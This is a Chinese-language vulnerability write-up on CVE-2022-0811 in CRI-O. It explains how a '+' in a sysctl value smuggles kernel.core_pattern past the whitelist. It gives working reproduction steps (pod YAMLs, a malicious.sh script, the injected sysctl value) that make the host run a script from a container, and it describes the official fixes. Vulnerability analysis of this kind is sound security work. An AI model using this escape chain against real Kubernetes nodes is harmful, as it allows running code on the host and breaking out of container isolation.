之前我在GitHub上也发过(原文:https://github.com/h4ckm310n/Container-Vulnerability-Exploit/blob/main/CVE-2022-0811/README.md),在这里也发一下。
漏洞分析
CVE-2022-0811是一个CRI-O漏洞,利用这个漏洞可以在创建容器时绕过CRI-O的限制,设置任意内核参数,并影响同一k8s节点下的其他容器。
在创建容器的时候,CRI-O通过pinns来设置内核参数,格式如下:
pinns -s key1=val1+key2=val2
可以看到pinns使用“+”字符来分割每个键值对。在调用pinns之前,CRI-O会先检查每个key的前缀,只有在key的前缀在白名单里时,才允许设置内核参数 [1.1]:
var prefixNamespaces = map[string]Namespace{
"kernel.shm": IpcNamespace,
"kernel.msg": IpcNamespace,
"fs.mqueue.": IpcNamespace,
"net.": NetNamespace,
}
// Validate checks that a sysctl is whitelisted because it is known to be
// namespaced by the Linux kernel. The parameters hostNet and hostIPC are used
// to forbid sysctls for pod sharing the respective namespaces with the host.
// This check is only used on sysctls defined by the user in the crio.conf
// file.
func (s *Sysctl) Validate(hostNet, hostIPC bool) error {
......
for p, ns := range prefixNamespaces {
if strings.HasPrefix(s.Key(), p) {
if ns == IpcNamespace && hostIPC {
return errors.Errorf(nsErrorFmt, s.Key(), ns)
}
if ns == NetNamespace && hostNet {
return errors.Errorf(nsErrorFmt, s.Key(), ns)
}
return nil
}
}
return errors.Errorf("%s not whitelisted", s.Key())
}
如同前面提到的那样,CRI-O在调用pinns的时候,是直接把每个键值对用“+”拼接起来的 [1.2]:
func getSysctlForPinns(sysctls map[string]string) string {
// this assumes there's no sysctl with a `+` in it
const pinnsSysctlDelim = "+"
g := new(bytes.Buffer)
for key, value := range sysctls {
fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)
}
return strings.TrimSuffix(g.String(), pinnsSysctlDelim)
}
然而,上面的检查操作并没有对value进行检查,因此,可以通过在内核参数的value中加入另一对键值对来绕过key的检查,例如“value1+key2=value2”,其中key2和value2就是另一个内核参数的键值对,这样,最终调用pinns时的参数就是“key1=value1+key2=value2”,key2绕过了检查,但仍会被pinns识别并设置。
复现
环境
- Linux: Ubuntu 20.04
- Kubernetes: 1.23.4
- CRI-O: 1.23.1
步骤
创建一个新的Pod,配置文件内容如下:
apiVersion: v1
kind: Pod
metadata:
name: pod-a
spec:
containers:
- name: alpine
image: alpine:latest
command: ["tail", "-f", "/dev/null"]
进入pod-a的shell:
kubectl create -f pod-a.yaml
kubectl exec -it pod-a -- /bin/sh
通过mount命令,可以得到如下结果:
其中,upperdir为 /var/lib/containers/storage/overlay/d0ae0689a1a6475972ae3f35e168e4feb3b506de0e0daafd032157cd3fb1428f/diff ,这是内核到容器根目录的路径。
创建一个脚本文件malicious.sh,内容为:
#!/bin/sh
date >> /var/lib/containers/storage/overlay/d0ae0689a1a6475972ae3f35e168e4feb3b506de0e0daafd032157cd3fb1428f/diff/output
用chmod +x为这个文件添加执行权限,然后在根目录下touch一个output文件。
接下来创建另一个Pod,yaml内容为:
apiVersion: v1
kind: Pod
metadata:
name: pod-b
spec:
securityContext:
sysctls:
- name: kernel.shm_rmid_forced
value: "1+kernel.core_pattern=|/var/lib/containers/storage/overlay/d0ae0689a1a6475972ae3f35e168e4feb3b506de0e0daafd032157cd3fb1428f/diff/malicious.sh #"
containers:
- name: alpine
image: alpine:latest
command: ["tail", "-f", "/dev/null"]
再次进入pod-a的shell,获取 /proc/sys/kernel/core_pattern 的内容:
触发漏洞:
此时再次查看output文件,就可以得到脚本输出的内容:
官方修复
CRI-O官方发布了两个修复版本,第一个版本对key和value都进行检查,判断里面是否包含“+”,如果包含则会返回错误 [3.1]:
for key, value := range sysctls {
if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) {
return "", errors.Errorf("'%s=%s' is invalid: %s found yet should not be present", key, value, pinnsSysctlDelim)
}
fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)
}
第二个版本则是修改了pinns的调用方式,通过多个“-s”来设置多个内核参数,而不是像之前那样用“+”拼接起来 [3.2]:
for key, value := range cfg.Sysctls {
pinnsArgs = append(pinnsArgs, "-s", fmt.Sprintf("%s=%s", key, value))
}
参考
[1.1] https://github.com/cri-o/cri-o/blob/v1.23.1/pkg/config/sysctl.go#L73
[1.2] https://github.com/cri-o/cri-o/blob/v1.23.1/internal/config/nsmgr/nsmgr.go#L174
[2.1] https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/
[2.2] https://zone.huoxian.cn/d/1003-kubernetes-cri-ocve-2022-0811
[3.1] https://github.com/cri-o/cri-o/commit/c0b2474b80fd0844b883729bda88961bed7b472b
[3.2] https://github.com/cri-o/cri-o/commit/76f1301c9eb979cbecdbbbb41ed72774285a814c